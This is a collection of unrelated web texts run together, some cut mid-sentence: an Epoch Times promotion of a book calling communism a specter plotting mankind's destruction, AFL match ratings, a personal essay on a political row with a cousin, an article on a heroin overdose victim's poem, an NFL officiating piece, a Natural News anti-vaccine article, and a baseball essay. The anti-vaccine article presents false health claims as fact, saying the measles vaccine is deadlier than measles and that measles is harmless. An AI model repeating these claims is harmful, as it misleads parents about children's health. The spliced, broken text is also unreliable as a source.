After losing their culture, humanity will lose their standards for how to be human. In the eyes of gods, people will become mere animals covered in human skin—incapable of restraining themselves through morality—leading to their rapid descent toward depravity. They will be rendered unable to understand the heavenly message the Creator will reveal to save people. Consequently, people will lose their chance of being saved when calamity strikes. This is the biggest cataclysm awaiting all lives—to be forever destroyed—and the communist specter’s ultimate goal.
Bearing in mind how much gods treasure our lives, and how much gods deeply care for human beings, we have written the book “The Ultimate Goal of Communism” to show people, through systematic analysis, how the communist specter is plotting to destroy mankind through the destruction of people’s culture and morality.
Different cultures around the world have their own folklore foretelling how gods will save humanity in the last days. Humans have now come to a critical moment in the history of the universe. The biggest stumbling block on their path to salvation is the evil cult that is communism. As a result, we believe, with great urgency, that we must thoroughly expose communism’s evil nature and its tactics—so that human beings, with their own conscience, can make their own judgment to abandon this evil cult, peacefully disintegrate communist organizations, systematically clean out communism’s evil elements, and finally welcome a new era for mankind.
The Epoch Times will soon publish the book in two parts, called “The Ultimate Goal of Communism: China” and “The Ultimate Goal of Communism: The World.” Please stay tuned.
This book is dedicated to every single person who cares about mankind’s destiny.IT WAS another defining weekend in the AFL.
As the reigning premiers the Western Bulldogs reminded everyone they remain in the finals hunt on Sunday, St Kilda’s September hopes took a blow with a big defeat on Friday night.
Sydney continued its incredible run of form, seeing off local rivals GWS Giants, as West Coast returned to the top eight with a derby win of its own against Fremantle.
Here’s how we rated your side’s Round 17 performance.
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ADELAIDE
This was a dominant performance if ever there was one. Don Pyke’s side exploded out of the blocks against the undermanned Demons, with a dominant first quarter paving the way for the 46-point win. The Crows withstood a third-quarter onslaught from the Demons to kick away late.
IN THE VOTES
In his return from two weeks out with viral meningitis, Tom Lynch was superb, racking up 27 disposals, taking 11 marks and booting three goals. Skipper Taylor Walker set the tone early, while Brad and Matt Crouch had 27 and 31 disposals respectively and stepped up in the midfield with Rory Sloane facing a tag.
RFI
Sloane copped a tough tag from Bernie Vince and struggled with the attention, before a third-quarter concussion ruled him out of the rest of the game. Otherwise, the Crows worked hard as a unit.
THE MAGOOS
Scott Thompson collected 22 disposals, while Troy Menzel and Myles Poholke each kicked three goals as Adelaide defeated West Adelaide by 21 points.
GRADE — A+
BRISBANE
This was a performance for Brisbane to take heart from, but ultimately it wasn’t enough to defeat Richmond — going down by 31 points on Sunday. A mini-revival in the second quarter had the Lions right in the hunt at half time, but they were overpowered by Dustin Martin after that and couldn’t recover. Still, Chris Fagan would like some of what he saw.
IN THE VOTES
Alex Witherden looks a terrific find for the club, racking up 28 disposals in a tidy performance across half back. Lewis Taylor (24 disposals) was also solid. Josh Schache, Eric Hipwood and Ben Keays each kicked two goals.
RFI
Ryan Lester didn’t have much impact, finishing with only eight disposals, while the in-form Dayne Zorko was well held and finished with only 11 touches and a goal.
THE MAGOOS
Brisbane’s NEAFL side enjoyed the bye over the weekend.
GRADE — C
CARLTON
After a couple of impressive performances, this was a pretty lacklustre effort from Carlton. Having started strongly, kicking the first three goals of the game, the Blues didn’t look at the races after that. The final margin, a 20-point loss to the Dogs, was quite flattering, given just how little the Blues looked like they could create in the forward half.
IN THE VOTES
Bryce Gibbs continued his career-best season, finishing with 32 disposals, eight clearances and kicking one goal. Sam Docherty (29 disposals, nine marks) and Marc Murphy (27 disposals) were also typically prolific. Matthew Wright kicked three goals up forward.
RFI
Liam Sumner was a late inclusion for Dale Thomas, but had no impact on the match. He finished with only six disposals, zero tackles and failed to hit the scoreboard.
THE MAGOOS
Harrison Macreadie (23 disposals, five marks) enjoyed a solid afternoon as the Northern Blues went down to Essendon in the VFL on Saturday. However, he was one of few.
GRADE — D
COLLINGWOOD
The nerves would have been high in the three-quarter time huddle on Saturday evening. However, Collingwood put a disastrous week behind them with a gritty 15-point victory over Gold Coast. This probably does little to enhance the side’s finals chances, but after the period Nathan Buckley and his men have endured, this will be sweet relief. Onwards and upwards for the Magpies, who host the Eagles next Sunday.
IN THE VOTES
The side had a number of contributors in the midfield, with Steele Sidebottom (32 disposals), Adam Treloar (32 disposals), Taylor Adams (31 disposals) and Scott Pendlebury (27 disposals) all having an impact. Ben Reid kicked three goals and looked dangerous up forward.
RFI
Tom Langdon had little impact, though still effected the game with 10 tackles. Jarryd Blair was also reasonably well held, though kicked an important goal.
THE MAGOOS
Jackson Ramsey was among the best as Collingwood’s VFL side slipped to a heavy defeat at the hands of Williamstown. He had 29 disposals, eight tackles and a goal, while Callum Brown racked up 28 disposals.
GRADE — B+
ESSENDON
This was a dominant performance from start to finish. Led by their midfield group, Essendon shot out of the blocks early — and only wayward kicking in front of goal would stop them from putting St Kilda to the sword earlier. Ultimately, their class showed, winning by 61 points in a statement of the side’s intent for the remainder of the season. Still a game outside the top eight, the Bombers aren’t a side you can be writing off just yet.
IN THE VOTES
Joe Daniher did the damage early, kicking four goals from nine marks in a commanding display. Essendon’s midfield group also fired, with Zach Merrett (37 disposals, 10 tackles) and David Zaharakis (32 disposals, two goals) leading the charge. Once again Michael Hurley was rock solid in defence, finishing with 27 disposals and nine marks.
RFI
James Stewart was among the best, finishing with 21 disposals and seven marks. Though his kicking in front of goal left a lot to be desired. He finished with 0.4 in a wayward display that could have otherwise seen him kick a bag.
THE MAGOOS
Jayden Laverde kicked six goals as Essendon’s VFL side thrashed the Northern Blues over the weekend. Kyle Langford was also good, finishing with 26 disposals and four goals, while Brent Stanton racked up 38 disposals and kicked two goals.
GRADE — A+
FREMANTLE
Goal kicking just might be a focus for the Dockers this week, after horrendous inefficiency in front of goal against the Eagles. Fremantle was average early and plagued by errors throughout the 30-point loss to its local rivals.
IN THE VOTES
Nat Fyfe fought hard in the midfield and finished with 30 disposals and eight clearances. Lachie Neale also worked hard and had 11 clearances and 34 disposals to his name.
RFI
Ross Lyon refused to blame his forwards after the match. That said, a number were very quiet, including Hayden Ballantyne and Shane Kersten.
THE MAGOOS
In positive news for the Dockers, Harley Bennell got through his return from calf injuries unscathed. The midfielder played reduced minutes but recorded 12 touches and booted a goal. Meanwhile, Matt Taberner kicked five goals and collected 27 disposals and Cameron Sutcliffe put his name up in lights, recording 31 disposals, eight inside-50s and 10 tackles.
GRADE — C
GEELONG
Second time lucky. Once again Geelong had a late Isaac Smith miss to thank for a narrow victory over Hawthorn, winning by three points at the MCG. In what was a game that was constantly on a knife’s edge, the Cats got the upper hand in the third quarter and then held their nerve late in the match. The win sees Geelong remain in second on the ladder.
IN THE VOTES
What a performance from Patrick Dangerfield. Seemingly down and out early in the game, he moved forward where he played one-out in the goalsquare. The result? A matchwinning display. Danger finished with 20 disposals, 12 marks (eight of which were inside 50) and kicked 5.6 with two goal assists. Joel Selwood did the damage in the midfield with 30 disposals and seven clearances.
RFI
James Parsons was quiet, winning only eight disposals for the game, while neither Rhys Stanley nor Zac Smith had much impact in the ruck. Patrick Dangerfield’s six behinds from 11 scoring shots ultimately didn’t prove costly.
THE MAGOOS
Jackson Thurlow pressed for a place in the senior team with 27 disposals and a goal as Geelong’s VFL side fell to Footscray on the weekend. Ryan Abbott also enjoyed a promising display, winning 25 disposals to go with 46 hitouts.
GRADE — A
GOLD COAST
This one will sting for Rodney Eade. Having been right in the contest at three-quarter time, Gold Coast conceded five goals to three in the final term, losing by 15 points to Collingwood. The Suns drop back into the bottom four as a result of the loss — leaving the question to be asked. Has the side improved enough under Rocket to justify a contract extension?
IN THE VOTES
Gary Ablett was prolific with 41 disposals and 11 clearances, while David Swallow (25 disposals, seven tackles) also did his job in the midfield. Peter Wright kicked three goals up forward.
RFI
Alex Sexton had no impact on the match, finishing with only four disposals and zero tackles. Young gun Jack Bowes was also quiet, while Sean Lemmens found the footy only nine times.
THE MAGOOS
Keegan Brooksby kicked six goals and laid 10 tackles as Gold Coast easily defeated Redland in the NEAFL over the weekend. Darcy Macpherson was also among the best, finishing with 31 disposals and kicking three goals.
GRADE — C
GWS GIANTS
The Giants waved goodbye to their grip on a top two position with a 13-point loss to the Swans on Saturday night. Although Leon Cameron’s men fought until the final siren, they never looked like they had any sort of control over the contest and were well beaten by an experienced side that is on a roll. You just wonder if injuries are beginning to take their toll on this team.
IN THE VOTES
Josh Kelly was superb with 27 disposals and two classy goals, while Callan Ward (32 disposals, 15 clearances) and Dylan Shiel (32 disposals, seven clearances) were also among the biggest ball winners. Jon Patton looked like his side’s most dangerous forward and kicked two goals.
RFI
Nathan Wilson was well held, finishing with only eight disposals for the game. Meanwhile, late inclusion Tendai Mzungu failed to have any real impact and had only nine touches.
THE MAGOOS
Young academy prospects Isaac Cumming (32 disposals) and Will Setterfield (29 disposals, one goal) were among the best as the Giants’ NEAFL team went down to Sydney.
GRADE — C+
HAWTHORN
So close, yet so far. Once again, Hawthorn will rue late drama — Isaac Smith’s shot on the run drifting wide as time expired, with the Hawks going down by three points to the Cats. Again, Hawthorn was mightily impressive, but this result sees them fall two-and-a-half games from the top eight, hurting the side’s finals chances dearly. The season is by no means over for Alastair Clarkson’s men, though they will have to be almost perfect from here.
IN THE VOTES
Tom Mitchell was again sensational, winning 43 disposals to go with nine clearances and two goals. Liam Shiels (29 disposals, 12 clearances) was also solid in the midfield, while Jack Gunston (24 disposals, eight marks) had a serviceable afternoon on a wing.
RFI
Kade Stewart and Tim O’Brien were both well held, finishing with only six disposals each. Meanwhile, Luke Brust kicked 1.4 and may regret his inaccuracy in front of goal.
THE MAGOOS
Dallas Willsmore (35 disposals, two goals) was among the best as Box Hill thrashed North Ballarat in the VFL on Sunday. Brendan Whitecross finished with 34 touches, while Ty Vickery kicked two goals in the win.
GRADE — B+
MELBOURNE
The Demons were undermanned — missing the likes of Nathan Jones, Jack Viney, Jack Watts and Dom Tyson — but they were also slaughtered early in the piece and were as much off the boil as Adelaide were on it. To their credit, they didn’t give up, working themselves back into the contest before the Crows kicked away late.
IN THE VOTES
Michael Hibberd was classy as ever off half back, while Jayden Hunt found some form, collecting 27 disposals and booting a monster torpedo goal. Jay Kennedy-Harris rewarded the faith in his first game in the midfield, collecting 28 disposals, while Jordan Lewis played his best game for some weeks. Bernie Vince was excellent on Rory Sloane but looks set to face potential suspensions for two separate incidents.
RFI
Dean Kent was very quiet before dislocating his shoulder in the third term. Jesse Hogan struggled with his marking, then his kicking, but is still very much regaining touch after several weeks out of the game. The Demons will give him time to find his groove.
THE MAGOOS
Casey Demons had the bye in the VFL.
GRADE — D+
NORTH MELBOURNE
While Brad Scott’s team worked hard, they were outclassed from the beginning. While the margin was 37 points at half time, Port Adelaide was able to kick away to a resounding 70-point victory. The undermanned Roos copped more injuries, too, with Mitchell Hibberd and Corey Wagner both failing to play out the game.
IN THE VOTES
Ben Cunnington fought hard in the midfield all day, recording 33 disposals, 26 contested possessions, 11 clearances and eight tackles. Ben Brown continued his solid form up forward, booting three goals.
RFI
Todd Goldstein was thumped in the ruck and around the ground by Paddy Ryder, collecting just six disposals and failing to take a mark. Majak Daw had a similarly rough day, with only five disposals to his name.
FRESH FACES
Rookie Cameron Zurhaar was quiet on a tough day to be a forward, collecting six touches and recording three tackles.
THE MAGOOS
Werribee lost to Richmond by 102 points but Trent Dumont responded to being dropped in the perfect manner, picking up 32 disposals along with 12 clearances and eight tackles.
GRADE — C
PORT ADELAIDE
Port Adelaide would have been keen to make a statement at home and they did just that. The Power produced a dominant performance to thump the Kangaroos by 70 points, with a number of their stars producing big games.
IN THE VOTES
Paddy Ryder set the tone with a dominant ruck performance, thumping Todd Goldstein at stoppages and around the ground. Chad Wingard booted three early goals and had 30 touches, while Sam Gray kicked four goals. Midfield bulls Ollie Wines and Sam Powell-Pepper were strong at the contest and found plenty of the footy.
RFI
The Power could be happy with this team performance. Jarman Impey (11 disposals) was quiet and failed to hit the scoreboard, while Dan Houston (10 touches) had less of the ball than usual.
THE MAGOOS
Fringe Power pair Aaron Young (23 disposals) and Brendon Ah Chee (24 disposals) both had plenty of the ball as Port Adelaide lost to Central Districts by 16 points in the SANFL. Mature-aged recruit Brett Eddy continued his strong state league form, booting three goals.
GRADE — A
RICHMOND
It was never that comfortable for Richmond, but a 31-point victory over Brisbane was enough to begin the process of righting last week’s wrongs. Led by superstar Dustin Martin, the Tigers kicked away in the third term and then piled on seven goals in the last, ultimately overpowering a young Lions side that showed plenty of fight. Richmond remains outside of the top four on percentage only.
IN THE VOTES
Dustin Martin was simply superb. He finished with 40 disposals, 14 clearances and kicked two goals in a clear best on ground display. Trent Cotchin was also busy in the midfield, while Jack Riewoldt kicked four goals and was the side’s most dangerous forward.
RFI
He may have kicked four goals, but Jack Riewoldt’s accuracy in front of goal could use some improving — he also added four behinds. Ivan Soldo did the majority of the ruck work, but didn’t have much of an impact around the ground.
THE MAGOOS
Shai Bolton kicked five goals as Richmond’s VFL side thrashed Werribee by 102 points on Saturday afternoon. Ben Lennon added four more, while Taylor Hunt finished with 30 disposals.
GRADE — B+
ST KILDA
From awesome, to awful. Having thrashed Richmond last week, St Kilda’s performance on Friday night couldn’t have been in more direct contrast. Well beaten around the group, the Saints were beaten up on the inside and simply could’ve cover Essendon’s outside |
, spiced with challenge. "Don't tell me you think that woman would have made a better president of our country?" she said evenly. "Are you out of your mind?" I screamed. "Donald Trump is a psychopath. He's a sociopath. He's a pathological narcissist."
I can't quite remember what else was said – a common occurrence, I'm told, among people whose amygdalas have been commandeered (think Mike Tyson chewing off Evander Holyfield's ear during their 1997 heavyweight title fight) – but I'm sure there were words bandied about like "Mexicans" and "Muslims" and "pussies" and "walls" and "emails" and "barefaced lies". "Look, I don't think I can do this," I said, reaching across the front seat to open her door. "Are you throwing me out of your car?" she replied with a look of pained incredulity. "I don't know," I spluttered. "Yes. No. Of course I'm not." I was ashamed of how I'd responded to my cousin, not because I thought I was wrong about Trump, but because of the way I'd expressed my views. Truth be told, I'd been violent.
And then we resumed our journey around the foreshores, me anguished and white-knuckled behind the wheel; she seemingly self-possessed, but probably just as troubled. "Wow, Cuz," she said after a few minutes, obviously trying to light some kindling under our frozen silence. "Perhaps we should talk about something else in future." Hillary Clinton last November: the writer's cousin referred to the Democratic presidential candidate as 'that woman'. Credit:MATT SLOCUM Many years ago, during another upsurge in Middle East violence, I visited a village in Israel called Neve Shalom Wahat al-Salam (Oasis of Peace), high up in the hills above the old armistice line, established after the 1948 Arab-Israeli war. For decades, Neve Shalom had served as a rather quaint experiment in peacemaking, where Jews and Arabs sought to co-exist across the faultline of their endless conflict, and where enemies sometimes came together in encounter groups run by the "School for Peace". For four days I sat in a room with a group of Israelis and Palestinians, listening to their stories of pain and enmity. Among the Israelis were kibbutzniks, soldiers, settlers, rabbis, those who believed in peace, those who didn't. Among the Palestinians were supporters of the Palestine Liberation Organisation and Hamas, plus others who had been involved in the first Palestinian uprising years earlier.
For the first 2½ days, both sides raged at each other and wept and dug their heels in and competed for the legitimacy and truth of their own sense of victimhood. The room was electric with tension as they challenged the other's history, language and culture; as they traded wound for wound, memory for memory, loss for loss. Then, slowly, tentatively, on the third day, they began to listen and, without realising it, started to confront the dark stereotypes they'd formed of the other. They began seeing each other as human beings, not the devils of their worst imaginings. It was the first time many in that room had actually met their "enemy". By the time they said goodbye, there was hugging and crying and, in some cases, the exchanging of phone numbers. For a brief moment it looked like peace was the most natural thing in the world. Even in the best of circumstances – and this was anything but the best – the ability to truly listen has always been questionable. We hear what we want to hear; or fail to hear anything at all. I remember years ago a friend recounting the first time she met her Spanish husband's family, and witnessing all the siblings and the mother at the dinner table shouting at the father "Escuchame! Escuchame!" My friend didn't speak Spanish, so she thought Escuchame was her new father-in-law's name. It wasn't. It was the Spanish word for "listen to me". The whole family had been begging the father to listen. I think about these episodes now as, all around us, the shouting gets louder. The hardening of positions. The ugliness of partisanship. The mocking, goading and contempt for people who hold different views to our own. Everything amplified to new levels of outrage.
Supporters stand near Donald Trump's bus during a campaign stop last October in Alabama, home state of the writer's cousin. Credit:Brynn Anderson When did we lose the ability to truly listen? Did we ever have it? In the days, weeks and months following my conniption in the car I stewed over my reaction. I was ashamed of how I'd responded to my cousin, not because I thought I was wrong about Trump, but because of the way I'd expressed my views. Truth be told, I'd been violent. Violent in my thinking. (This cousin of mine is … what was Hillary's word? Yes. Deplorable.) Violent in my speaking. (I'm driving around Sydney with a f…ing Trump supporter.) Violent in my actions (nearly ejecting her from my car). I'd proved myself no better, no less self-righteous, no less dogmatic and contemptuous than those I'd criticised for their so-called narrowness or ignorance. In fact, I'd probably proved myself worse, given my job as a journalist is to seek views from all sides. And therein lay the rub. I hadn't even asked my cousin why she'd voted for Trump in the first place. What was it about having grown up in the "Cotton State" that so leant itself to a Clinton wipeout? (Trump won Alabama by the enormous margin of 62.9 per cent to 34.6 per cent.) What was it about Alabama's Confederate history, its old racial anxieties, its parlous economic state, its disaffection with the Democratic Party, its contempt for Hillary Clinton herself, its hunger for something, anything, different that so assured Trump's victory? I didn't know because I hadn't asked. In the days and weeks after our trouble-filled car trip, my cousin and I met regularly for family breakfasts, lunches and dinners. We talked books and films and – with my daughters – music, fashion and dating. We exchanged private intimacies about lost loves. We explored issues relating to faith and reason. We laughed. We cried. We bonded. I grew to love her.
Just before she returned to the US she gave me her copy of David Brooks' The Road to Character, a book I'd expressed interest in reading. The book was an exploration of the lives of some of the world's great thinkers and leaders, and how they'd struggled against their own limitations to build strong inner characters. "People who are humble about their own nature are moral realists," Brooks writes. "Moral realists are aware that we are all built from 'crooked timber' – from Immanuel Kant's famous line, 'Out of the crooked timber of humanity, no straight thing was ever made.' People in this 'crooked timber' school of humanity have an acute awareness of their own flaws and believe that character is built in the struggle against their own weaknesses." For months I couldn't stop thinking about my weaknesses – intellectual arrogance being just one of them – and how at the heart of my response to my cousin was the casus belli for every war, every act of religious intolerance, ethnic hatred, racial discrimination and environmental vandalism that had ever plagued human history: "I'm right. You're wrong. I know the truth. You don't." That's the hell realm of today's political discourse: a crescendo of mutual disgust and loathing delivered in a forest of hashtags and 140-character assassinations. Six months after my cousin returned to Alabama, I read a story by Frank Bruni, one of David Brooks' colleagues at The New York Times, about the depths to which civilised debate had fallen in the US. "If not physically then civically," he wrote less than two months before the fatal confrontation in Charlottesville, "we're in a dangerous place when it comes to how we view, treat and talk about people we disagree with. Ugly partisanship may not be new, but some of its expressions and accelerants are. We'd be foolish to let this moment pass without owning up to them." I sent this story to my cousin with a note saying, "And I'd be foolish to let this moment pass, too, without saying to you how sorry I am for the way I reacted in the car on our very first drive together. I know we got over it … more than that … we became close buddies … but the shame remains in how I reacted to the fact that you supported He Who Shall Not Be Named." (I still couldn't resist that dig.) "It was unforgivable and I've remonstrated with myself a lot ever since, plus learnt a great deal about how my own reaction was/is symptomatic of 'the dangerous place' we're all in." She replied almost immediately: "I very much admire your gracious and humble reflection on our inaugural – no pun … really :) – car ride in Sydney. To me our experience was epic … campfire storytelling-worth and a gateway to other dimensions! We came out on the other side – together and closer, with respect and a sense of humour and appreciation."
President Donald Trump speaks about the deadly white nationalist rally in Charlottesville, Virginia, last month. Credit:AP We sure did, although I'd be lying if I said there wasn't a part of me – call it the ravenous ego part – that didn't want to send her an "I-told-you-so" email cataloguing the Trumpian horrors to date. Hmm, where to start? What about the undermining of American intelligence agencies, upending of traditional alliances, cosying up to dictators, enormous policy vacuums and legislative defeat on health care, attacks on overseas women's health organisations, multiple firings and resignations, general bellicosity, and possible obstruction of justice, not to mention collusion with the Russians? Or just keep it simple with character traits like vanity, bullying, recklessness, cruelty, misogyny, laziness, vulgarity, shameless dishonesty and a worrying propensity to support neo-Nazis? Oh and did I mention unhinged? But to what end? So that I could download all my old judgments, opinions and biases (conscious and unconscious) with her? So that I could debate the "facts" and "truth" as I saw them? That would hardly constitute listening, it certainly wouldn't be true dialogue. It would be just more of the same sound and fury; one ego (mine) trying to convince another ego (hers) who was right. Besides, in the three telephone conversations we've managed since she returned home, I've preferred venturing down different pathways: Are you happy? Who are you dating? Are you still moving to the north-west? Have you seen The Handmaid's Tale? Do you have any friends across state lines in devastated Texas? Are you coming back to Sydney for Christmas? (Yes, it seems she is.) I wanted to know these things because (a) I cared, and (b) it's not often you rediscover a first cousin after more than three decades, have a spectacular blow-up on the first day, then end up forging a new kinship. It made me think Thomas Jefferson was right when he said: "I never considered a difference of opinion in politics, in religion, in philosophy, as cause for withdrawing from a friend."
Of course, I'd still love to know whether she's had even a scintilla of doubt about the mental fitness of the occupant in the White House these past nine months. That would be enormously comforting. But truth is, I'm wary of pressing her too much, reluctant to extinguish the flame of friendship. I'm afraid that if she calls my facts "fake", or mentions some cockamamie theory about a liberal plot to sabotage the president, the phone lines between Birmingham and Sydney might crackle and steam and put the kibosh on our yuletide turkey. If that were to happen we'd be no better off than the millions of Americans – and Australians – who seem to have lost a workable vocabulary and shared reality with which to ground ourselves in rational discourse. So with all that in mind I've decided to try to adhere more closely to the uncertainty principle, to the idea of becoming more comfortable with ambiguity and not knowing. And, yes, I recognise this won't help me clarify my views on gender-neutral toilets! I think the time has come, however, for more humility. In The Road to Character, David Brooks writes about the power of this quality and how it offers up the freedom to not have to prove your superiority all the time. "There is something intellectually impressive about that sort of humility," he says. "[It's] the awareness that there's a lot you don't know and that a lot of what you think you know is distorted or wrong … Wisdom isn't a body of information. It's the moral quality of knowing what you don't know and figuring out a way to handle your ignorance, uncertainty and limitation." I like that idea. It's not a capitulation to things that are unacceptable, or even a nod to post-modernists who think there's no universally valid perspective on anything. It's just about civility and courtesy and listening to what others have to say. My cousin reminded me of that on Heartbreak Hill.A parent’s worst nightmare became a reality for Brian and Bridget Farrell when their 23-year-old daughter, Delaney, overdosed from heroin and died recently.
“She knew what her monster was,” said Brian in a Facebook video (view below) that now has more than 11,000 views. “She knew she was battling it.”
Delaney lost the battle on Saturday. She was found by Williamsport, Penn., police at a Red Roof Inn where she had previously been employed.
Although Delaney has died, she’s left behind a powerful poem that has struck a chord with many. The poem, which expresses what it’s like to struggle with a heroin addiction, was included by her mother in her obituary (whose online version had crashed from a surge of traffic on Friday) after she found it in her daughter’s journal.
Yahoo Beauty was unable to reach the Farrell family for comment.
Here is the complete poem as written by Delaney:
“Funny, I don’t remember no good dope days. I remember walking for miles in a dope fiend haze. I remember sleeping in houses that had no electric. I remember being called a junkie, but I couldn’t accept it. I remember hanging out in abandos that were empty and dark. I remember shooting up in the bathroom and falling out at the park. I remember nodding out in front of my sisters kid. I remember not remembering half of the things that I did. I remember the dope man’s time frame, just ten more minutes. I remember those days being so sick that I just wanted to end it. I remember the birthdays and holiday celebrations. All the things I missed during my incarceration. I remember overdosing on my bedroom floor. I remember my sisters cry and my dad having to break down the door. I remember the look on his face when I opened my eyes, thinking today was the day that his baby had died. I remember blaming myself when my mom decided to leave. I remember the guilt I felt in my chest making it hard to breathe. I remember caring so much but not knowing how to show it. and I know to this day that she probably don’t even know it. I remember feeling like I lost all hope. I remember giving up my body for the next bag of dope. I remember only causing pain, destruction and harm. I remember the track marks the needles left on my arm. I remember watching the slow break up of my home. I remember thinking my family would be better off if I just left them alone. I remember looking in the mirror at my sickly completion. I remember not recognizing myself in my own Damn reflection. I remember constantly obsessing over my next score but what I remember most is getting down on my knees and asking God to save me cuz I don’t want to do this no more!!! “
People are thanking the family for sharing the honest poem and for raising awareness about heroin addiction.
In the video, Delaney’s parents share how they tried everything to help their daughter recover and be free from the addiction — from rehabilitation centers to therapy — but that nothing worked.
“I knew my child was in trouble, I tried to save her,” said Brian.
Her family and friends are trying to cope with the loss and to remember her as the loving daughter and peer she was.
“She is no different than any other kid,” said Brian. “She was very funny, and she made everyone laugh.”
“The thing that comforts me is that she did believe [in God],” said Bridget. “She is now where she is supposed to be.”
Read more from Yahoo Beauty + Style:
Follow us on Instagram, Facebook, and Pinterest for nonstop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyle and @YahooBeauty.MEXICO CITY, MEXICO - NOVEMBER 21: Derek Carr of Oakland Raiders gestures during the NFL football game between Houston Texans and Oakland Raiders at Azteca Stadium on November 21, 2016 in Mexico City, Mexico. (Photo by Miguel Tovar/LatinContent/Getty Images)
The NFL players and the NFL referees are technically colleagues. They work together every week to try to put the best, most entertaining product on the field.
It might not seem like a big deal for colleagues to share a hello and good luck and a fist bump when at work. But when it is NFL Referees and the Oakland Raiders players before a big Monday Night game it might irk Houston Texans fans to see the gesture. And it would turn their stomach even more after the way the Raiders 27-20 win turned against the Texans multiple times.
Caught during the pregame walk to the field on ESPN a few of the referees were seen fist-bumping Sabastian Janikowski and Derek Carr before the game.
The Texans were victim to what seemed to be a slew of bad calls from the refs on Monday Night. The Raiders were considered the home team for the contest and got home field advantage on many of the calls. First was the DeAndre Hopkins getting called out of bounds after a gain of 24-yards on what would have been a touchdown for the Wide Receiver. Senior VP of Officiating for the NFL weighed in on the call.
That was a tough call for the Texans and while Hopkins might have been in bounds, the referees didn’t mess up the call, even though some believe they should have let the play go and allowed replay to take over.
The plays that seem to have most fans upset at the referees came late in the 4th quarter of a 20-20 game when Lamar Miller seemed to get a first down on 3rd & 2. The spot put the ball about two inches short of the line to gain. Replays showed Miller was past the first down marker, the Texans didn’t challenge the play and went for it on fourth down. Akeem Hunt got the carry, seemed to gain enough for the first down, but again the refs marked the ball short of the first down even after review the Texans were not awarded the needed yardage.
Really not sure how the Texans weren't given a first down here: https://t.co/h2TJXssOXN pic.twitter.com/JKScuyZ1Dh — SB Nation (@SBNation) November 22, 2016
The Raiders turned the next drive into the go-ahead score.
Many Texans fans believed this spotting of the footballs, along with the lack of penalties on the most penalized team in the NFL shows signs of the referees playing favorites. The above video of the fist bumps and pleasantries aren’t going to make those claims go away anytime soon.
Pleasantries between players and referees is something that goes on all the time and while Texans fans might see the fist bumps and be irate and point to it as conspiracy, it was likely just what it seems, colleagues wishing each other good luck to do their best on the field that night.First published by Natural News and Global Research in February 2015
Parents concerned about their vaccinated children potentially contracting measles from unvaccinated children may want to consider the fact that the bigger health threat is technically the vaccine, not the disease itself. Comparative data provided by the U.S. Centers for Disease Control and Prevention (CDC) and the Vaccine Adverse Event Reporting System (VAERS) reveal that nobody has died from measles in more than 10 years, while at least 108 deaths reported in VAERS during the same time frame have been linked to measles vaccines.
Many of our older readers probably remember a time when measles wasn’t viewed with the obscene level of paranoid hysterics being witnessed today. Like chickenpox, measles was a common childhood infection that, after running its typically mild course, imparted lifelong immunity in those who contracted it. The risk of serious complications or death from measles has always been overwhelmingly minimal, in other words, with previous generations viewing it as something of a rite of passage.
Fast forward to today and all rationality and common sense has gone out the window on this issue. The media is reporting a few isolated cases of measles as if it were the black plague, calling for those who don’t vaccinate their children to be ostracized from their communities or even jailed for “putting others at unnecessary risk.” But where are the facts in all this unsubstantiated mania, which unfairly tags the unvaccinated as dangerous lepers?
Once again, the media is discarding factual reporting in favor of mindless sensationalism, attributing an alleged measles resurgence — even this claim is specious — to the unvaccinated. Whether or not this claim is actually true pales in importance compared to the fact that measles really isn’t much of a threat in the first place. The measles vaccine, on the other hand, is a whole different story.
“There have been no measles deaths reported in the U.S. since 2003,” the Associate Press reported based off statements made by Dr. Anne Schuchat, director of the CDC’s National Center for Immunization and Respiratory Diseases.
Meanwhile, VAERS, which captures only a very small percentage of the actual number of injuries and deaths associated with measles vaccines, reports at least 108 deaths associated with measles vaccines since 2003. Of these, a shocking 96 deaths were reported in conjunction with MMR, which is now the preferred vaccine for measles immunization.
Measles deaths were virtually nonexistent prior to introduction of vaccine, which is now triggering outbreaks
Some will try to argue that measles deaths are essentially nonexistent now because of measles vaccines, the first of which was introduced in 1963. But this argument holds no water — U.S. measles mortality data shows that deaths from measles rapidly declined in the years leading up to when the first vaccine was introduced, validating the success of improved sanitation and better nutrition in making measles a non-problem.
This plotted graph from HealthSentinel.com visually illustrates this:
“What you may not have heard, is that by 1963, the death rate from measles in the United States had already dropped by approximately 98%,” explains the International Medical Council on Vaccination (IMCV).
Not long after it was introduced, the first measles vaccine was actually found to manifest worse symptoms of measles in vaccinated patients than if they hadn’t gotten the vaccine at all. The vaccine also suppressed the normal rash and fever associated with measles, obstructing the normal immune response and ultimately leading to future health problems for vaccinated individuals once they reached adulthood.
“[W]hereas natural measles exposure generally left the person with reliable lifelong immunity, measles vaccines leave the individual with waning immunity,” adds IMCV. “This dynamic of waning immunity means we will probably see measles epidemics even in highly vaccinated populations.”
Sources:
http://vaccineimpact.com
http://www.healthsentinel.com
http://www.vaccinationcouncil.org
http://science.naturalnews.comOriginally published September 27, 2013.
The girl on my shoulders is getting tall. Six, she stretches for lampposts and low-hanging branches as we march through downtown. I’m hoping the flux of Pedi-cab barkers and neon bar signs will distract her from the fact that we’re running late to the ballpark. Punctuality is one of this child’s pet peeves, part of a global anxiety born of getting bigger and bigger while remaining subject to the letdowns and incompetences of whoever’s holding the keys. In this case, that's me.
On our way, we skirt the boondoggle of a Convention Center and then navigate the Gaslamp Quarter’s boozy crawl of hotels and nightspots; neither a financial nor geographic center, San Diego’s gentrified downtown is now purely a tourist destination. First pitch between our (then) last place Padres and the visiting Giants remains more than an hour away, but a gathering of teams from the area’s youth softball leagues, including my daughter’s six-and-under squad, are wrapping up their season with a parade around the Petco Park infield—a waving beaming photo-op available only to those who arrive at the designated time.
For their part, the 2013 Padres came out of the gate going nowhere—hardly breaking news for a team that musters a stray playoff run each decade while mostly working the south side of.500. Nor would be there anything unusual about another acrimonious spike in the custody battle between team ownership and the local fan base. It's practically a tradition, going back to when the Friars failed to hang on to Dave Winfield and traded Ozzie Smith, bleak passivities the organization mastered long before losing five-tool studs and shipping out future Hall Of Famers became small-market SOP.
What had been new in San Diego this spring was the wholesale lack of seasonal renewal, that glorious, unguarded, unfounded optimism that anything’s possible. WE ALL START 0-0! A PUNCHER’S CHANCE! THAT’S WHY THEY PLAY THE GAMES!
